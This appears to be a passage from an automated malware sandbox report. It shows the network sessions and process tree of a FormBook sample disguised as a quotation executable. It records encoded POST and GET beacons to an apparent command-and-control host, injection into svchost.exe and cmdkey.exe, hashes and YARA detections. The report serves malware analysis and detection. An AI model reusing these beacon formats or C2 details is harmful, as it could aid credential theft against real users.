Jan 9, 2025 16:52:46.861552000 CET	795	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 52 4e 4d 55 49 62 46 5a 6b 43 7a 6c 55 66 79 74 78 79 67 4e 51 6c 33 48 61 6c 51 57 41 7a 6c 54 61 69 4b 76 72 4f 59 67 6b 44 51 5a 73 46 51 32 41 37 76 4a 42 69 33 58 5a 6f 7a 54 31 63 56 6e 2f 76 66 32 45 32 58 47 51 4d 4e 35 34 37 47 30 79 35 61 58 58 41 36 71 75 32 68 72 46 34 4d 55 5a 63 64 6b 62 46 65 52 4f 61 66 5a 30 6e 5a 45 5a 5a 52 67 4b 74 69 36 30 4f 72 2b 35 44 65 48 76 53 48 34 69 52 50 56 2b 52 37 44 77 35 57 75 52 52 66 58 55 70 34 4d 70 72 36 44 78 77 6a 75 5a 41 73 77 73 49 6d 57 6d 35 43 47 6a 71 51 42 6a 78 4a 4e 76 51 3d 3d Data Ascii: lV=XHoTkIbF1HmcRNMUIbFZkCzlUfytxygNQl3HalQWAzlTaiKvrOYgkDQZsFQ2A7vJBi3XZozT1cVn/vf2E2XGQMN547G0y5aXXA6qu2hrF4MUZcdkbFeROafZ0nZEZZRgKti60Or+5DeHvSH4iRPV+R7Dw5WuRRfXUp4Mpr6DxwjuZAswsImWm5CGjqQBjxJNvQ==
Jan 9, 2025 16:52:46.994981050 CET	810	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:52:46 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:52:46 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1NZm42YGBhnGZaQhzcrJ4iTiTL6gEQpHtxQu5rM%2Bs5PFD2kLNtZ9ICo7qNJ8%2FbPvvZd69h%2By6%2Bk1nZ%2FKO6Gil6PGsSLMSoPt%2BJrhMWV8Rb5oFDHlGrSRtfqveqYlsd1xlV2m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff598ad483ae80d-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.11.20	49820	104.21.13.141	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:49.521169901 CET	815	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 65 4d 38 55 62 49 64 5a 74 43 7a 69 62 2f 79 74 2f 69 67 4a 51 6c 4c 48 61 6b 6b 34 44 42 52 54 62 43 36 76 6f 50 59 67 6a 44 51 5a 34 56 51 76 4e 62 76 43 42 69 37 78 5a 74 54 54 31 59 31 6e 2f 75 76 32 45 46 76 46 51 63 4e 73 77 62 47 71 39 5a 61 58 58 41 36 71 75 32 46 53 46 34 55 55 5a 74 74 6b 62 6b 65 65 41 36 66 59 7a 6e 5a 45 50 5a 52 73 4b 74 6a 76 30 4e 75 5a 35 46 53 48 76 58 37 34 6c 45 76 53 30 52 37 46 2b 5a 58 5a 53 55 2f 63 55 49 73 72 75 5a 69 39 78 31 72 77 59 57 68 71 78 36 53 79 6c 71 65 30 6e 61 70 70 68 7a 49 57 79 52 33 47 47 31 7a 6b 62 76 4b 2f 4e 57 78 72 78 4c 64 46 64 37 6b 3d Data Ascii: lV=XHoTkIbF1HmceM8UbIdZtCzib/yt/igJQlLHakk4DBRTbC6voPYgjDQZ4VQvNbvCBi7xZtTT1Y1n/uv2EFvFQcNswbGq9ZaXXA6qu2FSF4UUZttkbkeeA6fYznZEPZRsKtjv0NuZ5FSHvX74lEvS0R7F+ZXZSU/cUIsruZi9x1rwYWhqx6Sylqe0napphzIWyR3GG1zkbvK/NWxrxLdFd7k=
Jan 9, 2025 16:52:49.653971910 CET	806	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:52:49 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:52:49 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t9MRuK%2FeOM1L4gyS5qh3gVF3PUE4pmF17lKhOpnEGxir0pXlkve2z3O7qi%2B5JY0Vt6oNITJWq6bE3yYfnYxlF3CIRiY097%2F1BsrX2Nea44%2BTgGmGxpF0GEbj5ze2ON0OvPIF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff598bdeb13636f-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.11.20	49821	104.21.13.141	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:52.172091007 CET	1289	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 65 4d 38 55 62 49 64 5a 74 43 7a 69 62 2f 79 74 2f 69 67 4a 51 6c 4c 48 61 6b 6b 34 44 42 70 54 62 77 79 76 6f 73 77 67 69 44 51 5a 37 56 51 71 4e 62 76 44 42 69 6a 31 5a 74 58 35 31 61 4e 6e 2b 49 54 32 54 45 76 46 65 63 4e 73 76 4c 47 72 79 35 61 43 58 44 54 68 75 32 56 53 46 34 55 55 5a 75 31 6b 53 56 65 65 43 36 66 5a 30 6e 5a 41 5a 5a 52 41 4b 74 37 2f 30 4d 61 6a 35 31 79 48 73 32 4c 34 6e 33 48 53 38 52 37 48 35 5a 58 42 53 55 36 45 55 4a 41 6e 75 59 57 54 78 79 58 77 63 42 38 72 67 70 75 54 39 49 47 38 71 6f 31 53 6d 6c 59 33 73 51 72 4d 58 54 72 34 45 6f 43 35 4f 6e 6c 62 6b 70 68 53 66 38 33 7a 45 67 51 72 39 41 42 32 73 51 6c 36 79 5a 63 6d 35 35 44 53 68 79 6e 4d 37 32 32 37 79 6d 55 75 74 59 76 61 62 76 74 68 47 36 54 42 59 42 4c 45 31 39 6f 61 44 76 72 58 63 63 44 37 44 32 47 51 4a 50 44 76 36 49 49 35 78 38 64 64 46 6c 39 56 4f 46 41 4e 33 72 64 43 69 4c 56 6e 4e 72 47 68 35 35 73 4c 43 38 75 33 6a 43 68 39 51 4c 67 55 66 4a 65 4b 78 33 6c [TRUNCATED] Data Ascii: lV=XHoTkIbF1HmceM8UbIdZtCzib/yt/igJQlLHakk4DBpTbwyvoswgiDQZ7VQqNbvDBij1ZtX51aNn+IT2TEvFecNsvLGry5aCXDThu2VSF4UUZu1kSVeeC6fZ0nZAZZRAKt7/0Maj51yHs2L4n3HS8R7H5ZXBSU6EUJAnuYWTxyXwcB8rgpuT9IG8qo1SmlY3sQrMXTr4EoC5OnlbkphSf83zEgQr9AB2sQl6yZcm55DShynM7227ymUutYvabvthG6TBYBLE19oaDvrXccD7D2GQJPDv6II5x8ddFl9VOFAN3rdCiLVnNrGh55sLC8u3jCh9QLgUfJeKx3lAirVxgQND0gbkRaAAniDbLJz2k7dSWE5yFZEUaOADkKuEIjwTQly/qfGuNnBAyxr04WNyp1odqbRNei/IjZA3bIiEiAr/kHcoGoEtJpqcg6UntDbo6jocQX84qspY1ZJ0p8FcIRT1vNJDVE4yIkImROWLh0Ow8jDdLv2C/L4AFTnDMvjuFGjKA2tHWwhU1caOR82yMGGsacYREDshpiXMixHChlwV1bOcao17swzRzb7K2AoMCULnl9MNGICEJje5+RXGg8i6QV110SIWi61SuI8K4BfjCwXJlsUkE3ARHZysswkg3cquqA9PBCyWdUxfhjhykrYqasrWAXAv2pSybc06Z6XLDsTI6
Jan 9, 2025 16:52:52.172142982 CET	3867	OUT	Data Raw: 7a 74 46 59 2b 4d 71 38 47 71 2f 50 33 7a 51 54 42 78 54 6a 48 71 4c 67 72 2b 47 2f 74 71 47 6a 4a 73 32 4b 63 37 4a 72 6d 7a 43 32 6b 4b 6c 78 4f 4e 44 62 7a 44 76 30 6a 4c 47 52 58 7a 77 55 47 51 53 55 34 49 41 70 70 41 68 7a 55 72 66 64 6b 6b Data Ascii: ztFY+Mq8Gq/P3zQTBxTjHqLgr+G/tqGjJs2Kc7JrmzC2kKlxONDbzDv0jLGRXzwUGQSU4IAppAhzUrfdkk4P7w+cqPAu9ofscbQAo+YMfJ2UZeTrNMkVfN59CyZ9uKqp+0xMxVTl2wvSY0d3UfpdsCxJZGCijmJ5PNTOUFnSkZGhfXNiijFWGpedP+MCYqykrbTwfmU1p9NEOkfFHLDtt52WWK+eJVGtzuB2gtVX3hYc052dYU/
Jan 9, 2025 16:52:52.172189951 CET	2808	OUT	Data Raw: 6d 2b 7a 6d 75 4e 68 43 6c 72 6b 45 42 5a 51 58 75 48 5a 58 6f 48 34 49 6c 46 69 4b 47 63 34 4d 2b 4a 39 77 30 7a 62 38 48 43 6a 44 42 41 6c 78 45 4d 6c 55 30 5a 68 68 4c 71 6c 37 54 7a 6b 65 6e 43 36 6a 66 65 74 4f 69 63 44 33 61 2f 30 68 71 65 Data Ascii: m+zmuNhClrkEBZQXuHZXoH4IlFiKGc4M+J9w0zb8HCjDBAlxEMlU0ZhhLql7TzkenC6jfetOicD3a/0hqet+LArVwXurnr7K55WTZY8BoNHB8tem35/pgbxba5y78q7JbkxIyT4gWTAnoSG57x/H83Co7UQiZmqKhiGF3oNavkhLnt44J/It9Y691LkT6Y0H9FA4ujaLgZ5zEEvL7W5dALQO+Sp5SpkvDBF4MSaq945uBKshcNQ
Jan 9, 2025 16:52:52.328084946 CET	808	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:52:52 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:52:52 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y5deEG7cro%2FoRshQZZ54X7tCRhTRdWjoQqdZVWHuYrI1OLQc%2BHs00bQYA%2Fk5e98vaoZhefee7i05pbdknDlwrVF0f3UY3f%2BvWChXuasOZo5p3thmKmBnk17ItdteQ%2FuH8cOM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff598ce7e3c86fc-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.11.20	49822	104.21.13.141	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:54.829241037 CET	530	OUT	GET /kj1o/?lV=aFAzn/LT2mOAaNQHP98soQbFSeChigB+MmjNXW9rGStYTR2loNwIsxAevG8AaM/8DgC1YrG7rp0i0fn4DlXpdNAv+6uTj4+oUBXQskl/LrNJEccoBVqSJKs=&LSbaT=zft4LoBw HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:52:54.954835892 CET	783	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:52:54 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:52:54 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tQmfIxJC0uUFpaSeVVGGT%2FMOoVuKBqOJ04gzqOmGvfmTnkcOWCuuh3W3x7%2FEsVMVcy7gY4NDFdenZ4INW7oQZAJASHSNWy7C8o4WT5FmCS%2Bw5%2B4QyzUaEqHgFV8hwVXxic6C"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff598df1864eb08-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Target ID:	0
Start time:	10:46:15
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe"
Imagebase:	0x630000
File size:	1'749'504 bytes
MD5 hash:	71A9653E383348DB78EDAA7619DEA426
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	10:46:16
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe"
Imagebase:	0xb10000
File size:	47'016 bytes
MD5 hash:	B7C999040D80E5BF87886D70D992C51E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.11733519795.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.11735115611.00000000038A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Target ID:	2
Start time:	10:47:07
Start date:	09/01/2025
Path:	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s
Imagebase:	0x140000000
File size:	16'696'840 bytes
MD5 hash:	731FB4B2E5AFBCADAABB80D642E056AC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	3
Start time:	10:47:08
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\cmdkey.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmdkey.exe"
Imagebase:	0xf0000
File size:	17'408 bytes
MD5 hash:	6CDC8E5DF04752235D5B4432EACC81A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.15246117394.0000000003320000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.15246023580.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	4
Start time:	10:47:33
Start date:	09/01/2025
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff74adc0000
File size:	597'432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true